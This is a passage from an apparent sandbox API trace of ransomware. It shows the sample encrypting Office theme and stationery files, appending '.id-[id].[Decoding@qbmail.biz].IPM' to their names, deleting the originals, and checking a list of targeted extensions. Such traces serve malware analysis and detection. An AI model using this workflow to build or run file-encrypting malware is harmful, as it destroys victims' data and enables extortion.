Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.497] lstrlenW (lpString=".1cd") returned 4 [0091.497] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0091.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0091.497] lstrlenW (lpString=".jpg") returned 4 [0091.497] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0091.497] lstrcmpiW (lpString1=".emf", lpString2=".IPM") returned -1 [0091.497] lstrlenW (lpString="Graph.emf") returned 9 [0091.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0091.499] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=116724) returned 1 [0091.499] CloseHandle (hObject=0x204) returned 1 [0091.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0091.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0091.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0091.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0091.500] lstrlenW (lpString=".doc") returned 4 [0091.500] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0091.500] lstrlenW (lpString=".docx") returned 5 [0091.500] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0091.500] lstrlenW (lpString=".pdf") returned 4 [0091.500] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0091.500] lstrlenW (lpString=".xls") returned 4 [0091.500] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0091.501] lstrlenW (lpString=".xlsx") returned 5 [0091.501] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0091.501] lstrlenW (lpString=".ppt") returned 4 [0091.501] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0091.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0091.501] lstrlenW (lpString=".zip") returned 4 [0091.501] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0091.501] lstrlenW (lpString=".rar") returned 4 [0091.501] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0091.501] lstrlenW (lpString=".bz2") returned 4 [0091.501] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0091.501] lstrlenW (lpString=".7z") returned 3 [0091.501] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0091.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0091.501] lstrlenW (lpString=".dbf") returned 4 [0091.501] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0093.582] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.582] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0093.584] GetLastError () returned 0x0 [0093.584] ReadFile (in: hFile=0x1cc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xba9, lpOverlapped=0x0) returned 1 [0093.586] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0093.587] ReadFile (in: hFile=0x1cc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0093.587] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0093.587] SetEndOfFile (hFile=0x18c) returned 1 [0093.587] CloseHandle (hObject=0x18c) returned 1 [0093.588] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.588] SetEndOfFile (hFile=0x1cc) returned 1 [0093.588] CloseHandle (hObject=0x1cc) returned 1 [0093.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0093.589] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0093.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.589] lstrlenW (lpString=".doc") returned 4 [0093.589] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0093.589] lstrlenW (lpString=".docx") returned 5 [0093.589] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0093.589] lstrlenW (lpString=".pdf") returned 4 [0093.589] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0093.589] lstrlenW (lpString=".xls") returned 4 [0093.590] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0093.590] lstrlenW (lpString=".xlsx") returned 5 [0093.590] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0093.590] lstrlenW (lpString=".ppt") returned 4 [0093.590] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0093.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.590] lstrlenW (lpString=".zip") returned 4 [0093.590] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0093.590] lstrlenW (lpString=".rar") returned 4 [0093.590] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.590] lstrlenW (lpString=".bz2") returned 4 [0093.590] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.590] lstrlenW (lpString=".7z") returned 3 [0093.590] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.590] lstrlenW (lpString=".dbf") returned 4 [0093.590] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.590] lstrlenW (lpString=".1cd") returned 4 [0093.590] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.591] lstrlenW (lpString=".jpg") returned 4 [0093.591] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.591] lstrlenW (lpString=".doc") returned 4 [0093.591] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0093.591] lstrlenW (lpString=".docx") returned 5 [0093.591] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0093.591] lstrlenW (lpString=".pdf") returned 4 [0093.591] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0093.591] lstrlenW (lpString=".xls") returned 4 [0093.591] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0093.591] lstrlenW (lpString=".xlsx") returned 5 [0093.591] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0093.591] lstrlenW (lpString=".ppt") returned 4 [0093.591] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0093.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.591] lstrlenW (lpString=".zip") returned 4 [0093.591] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0093.591] lstrlenW (lpString=".rar") returned 4 [0093.591] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.591] lstrlenW (lpString=".bz2") returned 4 [0093.591] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.591] lstrlenW (lpString=".7z") returned 3 [0093.592] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.592] lstrlenW (lpString=".dbf") returned 4 [0093.592] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.592] lstrlenW (lpString=".1cd") returned 4 [0093.592] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0093.592] lstrlenW (lpString=".jpg") returned 4 [0093.592] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.592] lstrcmpiW (lpString1=".GIF", lpString2=".IPM") returned -1 [0093.592] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0093.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0093.593] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1560) returned 1 [0093.593] CloseHandle (hObject=0x1cc) returned 1 [0093.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0093.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0093.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0093.593] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.593] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0093.596] GetLastError () returned 0x0 [0093.596] ReadFile (in: hFile=0x1cc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x618, lpOverlapped=0x0) returned 1 [0093.598] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x620, lpOverlapped=0x0) returned 1 [0093.599] ReadFile (in: hFile=0x1cc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0093.599] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0093.599] SetEndOfFile (hFile=0x18c) returned 1 [0093.599] CloseHandle (hObject=0x18c) returned 1 [0093.600] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.600] SetEndOfFile (hFile=0x1cc) returned 1 [0093.601] CloseHandle (hObject=0x1cc) returned 1 [0093.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0093.601] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0093.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.601] lstrlenW (lpString=".doc") returned 4 [0093.601] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0093.602] lstrlenW (lpString=".docx") returned 5 [0093.602] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0093.602] lstrlenW (lpString=".pdf") returned 4 [0093.602] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0093.602] lstrlenW (lpString=".xls") returned 4 [0093.602] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0093.602] lstrlenW (lpString=".xlsx") returned 5 [0093.602] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0093.602] lstrlenW (lpString=".ppt") returned 4 [0093.602] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0093.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.602] lstrlenW (lpString=".zip") returned 4 [0093.602] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0093.602] lstrlenW (lpString=".rar") returned 4 [0093.602] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.602] lstrlenW (lpString=".bz2") returned 4 [0093.602] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.602] lstrlenW (lpString=".7z") returned 3 [0093.602] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.602] lstrlenW (lpString=".dbf") returned 4 [0093.602] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.602] lstrlenW (lpString=".1cd") returned 4 [0093.602] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.602] lstrlenW (lpString=".jpg") returned 4 [0093.602] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.603] lstrlenW (lpString=".doc") returned 4 [0093.603] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0093.603] lstrlenW (lpString=".docx") returned 5 [0093.603] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0093.603] lstrlenW (lpString=".pdf") returned 4 [0093.603] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0093.603] lstrlenW (lpString=".xls") returned 4 [0093.603] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0093.603] lstrlenW (lpString=".xlsx") returned 5 [0093.603] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0093.603] lstrlenW (lpString=".ppt") returned 4 [0093.603] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0093.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.603] lstrlenW (lpString=".zip") returned 4 [0093.603] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0093.603] lstrlenW (lpString=".rar") returned 4 [0093.603] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0093.603] lstrlenW (lpString=".bz2") returned 4 [0093.603] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0093.603] lstrlenW (lpString=".7z") returned 3 [0093.603] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0093.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.603] lstrlenW (lpString=".dbf") returned 4 [0093.603] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0093.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.603] lstrlenW (lpString=".1cd") returned 4 [0093.604] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0093.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0093.604] lstrlenW (lpString=".jpg") returned 4 [0093.604] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0093.604] lstrcmpiW (lpString1=".PNG", lpString2=".IPM") returned 1 [0093.604] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0093.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0093.604] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=33009) returned 1 [0093.604] CloseHandle (hObject=0x1cc) returned 1 [0093.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0093.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0093.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0093.605] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.605] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0093.605] GetLastError () returned 0x0 [0093.605] ReadFile (in: hFile=0x1cc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0093.608] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0093.610] ReadFile (in: hFile=0x1cc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0093.610] WriteFile (in: hFile=0x18c, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0093.610] SetEndOfFile (hFile=0x18c) returned 1 [0093.611] CloseHandle (hObject=0x18c) returned 1 [0093.611] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0093.611] SetEndOfFile (hFile=0x1cc) returned 1 [0093.612] CloseHandle (hObject=0x1cc) returned 1 [0093.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0093.613] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0093.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.613] lstrlenW (lpString=".doc") returned 4 [0093.613] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0093.613] lstrlenW (lpString=".docx") returned 5 [0093.613] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0093.613] lstrlenW (lpString=".pdf") returned 4 [0093.613] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0093.613] lstrlenW (lpString=".xls") returned 4 [0093.613] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0093.613] lstrlenW (lpString=".xlsx") returned 5 [0093.613] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0093.613] lstrlenW (lpString=".ppt") returned 4 [0093.613] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0093.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.613] lstrlenW (lpString=".zip") returned 4 [0093.614] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0093.614] lstrlenW (lpString=".rar") returned 4 [0093.614] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0093.614] lstrlenW (lpString=".bz2") returned 4 [0093.614] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0093.614] lstrlenW (lpString=".7z") returned 3 [0093.614] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0093.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.614] lstrlenW (lpString=".dbf") returned 4 [0093.614] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0093.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.614] lstrlenW (lpString=".1cd") returned 4 [0093.614] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0093.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0093.614] lstrlenW (lpString=".jpg") returned 4 [0093.614] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0093.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 